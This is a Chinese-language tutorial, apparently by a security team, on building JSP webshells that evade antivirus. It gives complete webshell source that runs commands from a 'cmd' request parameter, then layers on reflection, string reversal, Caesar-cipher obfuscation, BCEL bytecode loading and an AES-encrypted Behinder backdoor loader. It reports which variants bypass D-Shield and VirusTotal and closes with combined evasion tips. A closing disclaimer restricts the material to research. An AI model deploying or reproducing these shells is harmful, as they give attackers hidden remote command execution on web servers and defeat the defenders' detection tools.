Sangfor华东天勇战队:jspwebshell免杀
字数 1138 2025-08-11 21:26:18
JSP Webshell免杀技术详解
1. 基础JSP Webshell分析
1.1 基础JSP Webshell代码
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase()); // 获取操作系统类型
String cmd = request.getParameter("cmd"); // 参数cmd
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd}); // 执行命令
InputStream input = p.getInputStream(); // 获取字节流
InputStreamReader ins = new InputStreamReader(input, "GBK"); // 字符输入流
BufferedReader br = new BufferedReader(ins); // 缓冲字符
out.print("<pre>");
String line;
while((line = br.readLine()) != null) { // 遍历输出
out.println(line);
}
out.print("</pre>");
br.close();
ins.close();
input.close();
}
%>
特点分析:
- 直接使用
Runtime.getRuntime().exec()执行命令 - 通过
cmd参数接收用户输入 - 使用数组方式传递命令参数(避免使用字符串拼接)
- 正确处理了命令执行的输入流和编码问题
检测情况:
- 360未检测出
- D盾检测出为恶意文件
2. Java反射绕过技术
2.1 反射基础实现
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
e.invoke(r.invoke(null,null),"calc");
JSP实现:
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
Process process = (Process) e.invoke(r.invoke(null,null),"calc");
%>
2.2 完整反射Webshell
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
try{
Class c = Class.forName("java.lang.Runtime");
Method r = c.getDeclaredMethod("getRuntime",null);
Method e = c.getDeclaredMethod("exec",String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
InputStream inputStream = process.getInputStream();
InputStreamReader is = new InputStreamReader(inputStream,"GBK");
BufferedReader br = new BufferedReader(is);
StringBuffer sb = new StringBuffer("<pre>");
String line;
while ((line=br.readLine())!=null){
sb.append(line+"\n");
}
out.print(sb+"</pre>");
br.close();
is.close();
inputStream.close();
}catch (IOException e){
e.printStackTrace();
}
}
%>
检测情况:
- D盾检测为可疑文件(比直接调用Runtime隐蔽性有所提高)
3. 字符串反转技术
3.1 字符串反转实现
public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line; // 字符前置实现反转
}
return line;
}
3.2 反转技术应用
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static String revstr(String str){
String line = "";
for (int i=0;i<str.length();i++){
line = str.charAt(i) + line;
}
return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
try{
Class c = Class.forName(revstr("emitnuR.gnal.avaj"));
Method r = c.getDeclaredMethod(revstr("emitnuRteg"),null);
Method e = c.getDeclaredMethod(revstr("cexe"),String.class);
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
// ...省略输入流处理代码...
}catch (IOException e){
e.printStackTrace();
}
}
%>
优化点:
- 将关键字符串"java.lang.Runtime"反转为"emitnuR.gnal.avaj"
- 运行时再反转回来使用
- 减少了特征匹配的可能性
检测情况:
- D盾仍检测为可疑文件(但检测分数降低)
4. 凯撒加密技术
4.1 凯撒加密实现
public static String kaisa(String str){
String line = "";
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
j=(char)(j-2); // 每个字符ASCII码减2
line = line + j;
}
return line;
}
4.2 凯撒加密应用
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static String kaisa(String str){
String line = "";
for (int i=0;i<str.length();i++){
char j = str.charAt(i);
j=(char)(j+2); // 解密:每个字符ASCII码加2
line = line + j;
}
return line;
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
Class c = Class.forName(kaisa("h_t_,j_le,Pslrgkc")); // "java.lang.Runtime"加密后
Method r = c.getDeclaredMethod(kaisa("ecrPslrgkc"),null); // "getRuntime"加密后
Method e = c.getDeclaredMethod(kaisa("cvca"),String.class); // "exec"加密后
Process process = (Process) e.invoke(r.invoke(null,null),cmd);
// ...省略输入流处理代码...
}
%>
检测情况:
- 成功绕过D盾检测
- VT扫描无检出
5. BCEL字节码加载技术
5.1 BCEL原理
- 使用
com.sun.org.apache.bcel.internal.classfile.Utility.encode()进行BCEL编码 - 通过
com.sun.org.apache.bcel.internal.util.ClassLoader加载BCEL编码的类
5.2 BCEL实现步骤
- 创建恶意类:
public class ByteCodeEvil {
String res;
public ByteCodeEvil(String cmd) throws Exception{
StringBuilder stringBuilder = new StringBuilder().append("<pre>");
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(
Runtime.getRuntime().exec(cmd).getInputStream(),"GBK"));
String line;
while ((line=bufferedReader.readLine())!=null){
stringBuilder.append(line).append("\n");
}
stringBuilder.append("</pre>");
this.res = stringBuilder.toString();
}
public String toString(){
return this.res;
}
}
- 生成BCEL编码:
String encode = Utility.encode(Files.readAllBytes(
Paths.get("ByteCodeEvil.class")),true);
System.out.println(encode);
- JSP实现:
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String cmd = request.getParameter("cmd");
if (cmd!=null){
Class c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
ClassLoader loader = (ClassLoader) c.newInstance();
String beclcode="
$$
BCEL
$$
"+"...生成的BCEL编码...";
Class<?> aClass = loader.loadClass(beclcode);
Constructor<?> constructor = aClass.getConstructor(String.class);
Object o = constructor.newInstance(cmd);
out.println("o = " + o);
}
%>
检测情况:
- 成功绕过D盾检测
- VT扫描无检出
6. 冰蝎(Behinder)后门免杀
6.1 冰蝎原理分析
- 使用AES加密通信
- 自定义类加载器加载解密后的字节码
- 密钥为连接密码32位md5值的前16位(默认"rebeyond")
6.2 免杀实现
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*,sun.misc.BASE64Decoder"%>
<%@ page import="java.lang.reflect.Constructor" %>
<%!
class U extends ClassLoader{
U(ClassLoader c){super(c); }
public Class g(byte []b) {
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b"; // "rebeyond"的md5前16位
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
Class c2 = Class.forName("javax.crypto.spec.SecretKeySpec");
Constructor Constructor=c2.getConstructor(byte[].class,String.class);
SecretKeySpec aes = (SecretKeySpec)Constructor.newInstance(k.getBytes(),"AES");
c.init(2,aes);
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
String input= request.getReader().readLine();
byte[] bytes=(byte[]) Base64.getDecoder().decode(input);
Class clazz2=Class.forName("javax.crypto.Cipher");
byte[] clazzBytes=(byte[]) clazz2.getMethod("doFinal",byte[].class).invoke(c,bytes);
Class clazz=new U(contextClassLoader).g(clazzBytes);
clazz.newInstance().equals(pageContext);
}
%>
特点:
- 使用反射构造SecretKeySpec
- 自定义类加载器加载解密后的字节码
- 保持了冰蝎的通信协议和加密方式
检测情况:
- 成功绕过D盾检测
- VT扫描无检出
7. 综合免杀建议
-
多技术组合使用:
- 反射+字符串反转+凯撒加密
- BCEL+自定义类加载器
-
输入输出处理优化:
- 使用字节数组直接处理命令输出
- 避免使用明显的流处理模式
-
特征消除:
- 避免直接使用Runtime、Process等关键字
- 使用非常规方法获取类和方法
-
动态加载:
- 尽可能使用字节码动态加载技术
- 分离核心功能到独立类中
-
环境检测:
- 添加无害的环境检测代码作为掩护
- 延迟执行敏感操作
这些技术可以显著提高JSP Webshell的隐蔽性,但请注意这些技术仅用于安全研究和防御目的,切勿用于非法用途。